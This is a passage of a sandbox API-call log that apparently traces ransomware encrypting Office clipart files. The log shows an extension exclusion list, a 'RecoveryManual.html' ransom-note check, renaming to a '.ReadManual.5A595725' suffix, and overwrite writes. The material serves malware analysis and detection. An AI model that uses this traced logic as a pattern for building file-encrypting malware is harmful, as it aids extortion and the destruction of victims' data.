ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1 [0267.698] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187647.WMF" | out: lpString1="J0187647.WMF") returned="J0187647.WMF" [0267.698] lstrcmpiW (lpString1="J0187647.WMF", lpString2="RecoveryManual.html") returned -1 [0267.698] StrStrIW (lpFirst="J0187647.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.698] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.698] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.698] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" [0267.698] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.ReadManual.5A595725" [0267.698] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.ReadManual.5A595725") returned 87 [0267.698] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38836694629) returned 1 [0267.698] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf")) returned 0x20 [0267.699] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.699] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6596) returned 1 [0267.699] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19c4, lpName=0x0) returned 0x184 [0267.699] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.700] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.700] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.702] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.702] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19c4) returned 0x2f0000 [0267.702] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.703] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38837135185) returned 1 [0267.703] CloseHandle (hObject=0x184) returned 1 [0267.703] SetSecurityInfo () returned 0x57 [0267.703] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.703] CloseHandle (hObject=0x194) returned 1 [0267.703] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1 [0267.703] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187815.WMF" | out: lpString1="J0187815.WMF") returned="J0187815.WMF" [0267.703] lstrcmpiW (lpString1="J0187815.WMF", lpString2="RecoveryManual.html") returned -1 [0267.703] StrStrIW (lpFirst="J0187815.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.703] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.703] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.703] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" [0267.703] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.ReadManual.5A595725" [0267.703] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.ReadManual.5A595725") returned 87 [0267.703] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38837228111) returned 1 [0267.704] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf")) returned 0x20 [0267.704] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.704] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5376) returned 1 [0267.704] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1500, lpName=0x0) returned 0x184 [0267.704] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.705] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.705] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.707] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.707] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1500) returned 0x2f0000 [0267.707] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.707] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38837602158) returned 1 [0267.707] CloseHandle (hObject=0x184) returned 1 [0267.707] SetSecurityInfo () returned 0x57 [0267.707] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.707] CloseHandle (hObject=0x194) returned 1 [0267.708] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1 [0267.708] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187817.WMF" | out: lpString1="J0187817.WMF") returned="J0187817.WMF" [0267.708] lstrcmpiW (lpString1="J0187817.WMF", lpString2="RecoveryManual.html") returned -1 [0267.708] StrStrIW (lpFirst="J0187817.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.708] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.708] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.708] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" [0267.708] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.ReadManual.5A595725" [0267.708] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.ReadManual.5A595725") returned 87 [0267.708] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38837695968) returned 1 [0267.708] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf")) returned 0x20 [0267.708] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.709] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11644) returned 1 [0267.709] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d7c, lpName=0x0) returned 0x184 [0267.709] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.710] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.710] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.711] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.712] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d7c) returned 0x2f0000 [0267.712] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.712] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38838070866) returned 1 [0267.712] CloseHandle (hObject=0x184) returned 1 [0267.712] SetSecurityInfo () returned 0x57 [0267.712] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.712] CloseHandle (hObject=0x194) returned 1 [0267.712] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1 [0267.712] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187819.WMF" | out: lpString1="J0187819.WMF") returned="J0187819.WMF" [0267.712] lstrcmpiW (lpString1="J0187819.WMF", lpString2="RecoveryManual.html") returned -1 [0267.712] StrStrIW (lpFirst="J0187819.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.712] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.712] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.712] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.712] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.712] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.713] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.713] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.713] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.713] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.713] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.713] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.713] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.713] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.713] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.713] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" [0267.713] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.ReadManual.5A595725" [0267.713] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.ReadManual.5A595725") returned 87 [0267.713] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38838164974) returned 1 [0267.713] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf")) returned 0x20 [0267.714] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.714] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10352) returned 1 [0267.714] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2870, lpName=0x0) returned 0x184 [0267.714] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.715] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.715] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.717] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.717] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2870) returned 0x2f0000 [0267.717] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.717] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38838582265) returned 1 [0267.717] CloseHandle (hObject=0x184) returned 1 [0267.717] SetSecurityInfo () returned 0x57 [0267.717] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.717] CloseHandle (hObject=0x194) returned 1 [0267.717] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1 [0267.718] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187825.WMF" | out: lpString1="J0187825.WMF") returned="J0187825.WMF" [0267.718] lstrcmpiW (lpString1="J0187825.WMF", lpString2="RecoveryManual.html") returned -1 [0267.718] StrStrIW (lpFirst="J0187825.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.718] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.718] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.718] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" [0267.718] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.ReadManual.5A595725" [0267.718] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.ReadManual.5A595725") returned 87 [0267.718] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38838690697) returned 1 [0267.718] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf")) returned 0x20 [0267.718] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.719] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7500) returned 1 [0267.719] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d4c, lpName=0x0) returned 0x184 [0267.719] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.719] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.719] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.721] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.721] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d4c) returned 0x2f0000 [0267.721] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.721] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38839025865) returned 1 [0267.722] CloseHandle (hObject=0x184) returned 1 [0267.722] SetSecurityInfo () returned 0x57 [0267.722] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.722] CloseHandle (hObject=0x194) returned 1 [0267.722] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1 [0267.722] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187829.WMF" | out: lpString1="J0187829.WMF") returned="J0187829.WMF" [0267.722] lstrcmpiW (lpString1="J0187829.WMF", lpString2="RecoveryManual.html") returned -1 [0267.722] StrStrIW (lpFirst="J0187829.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.722] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.722] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.722] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" | 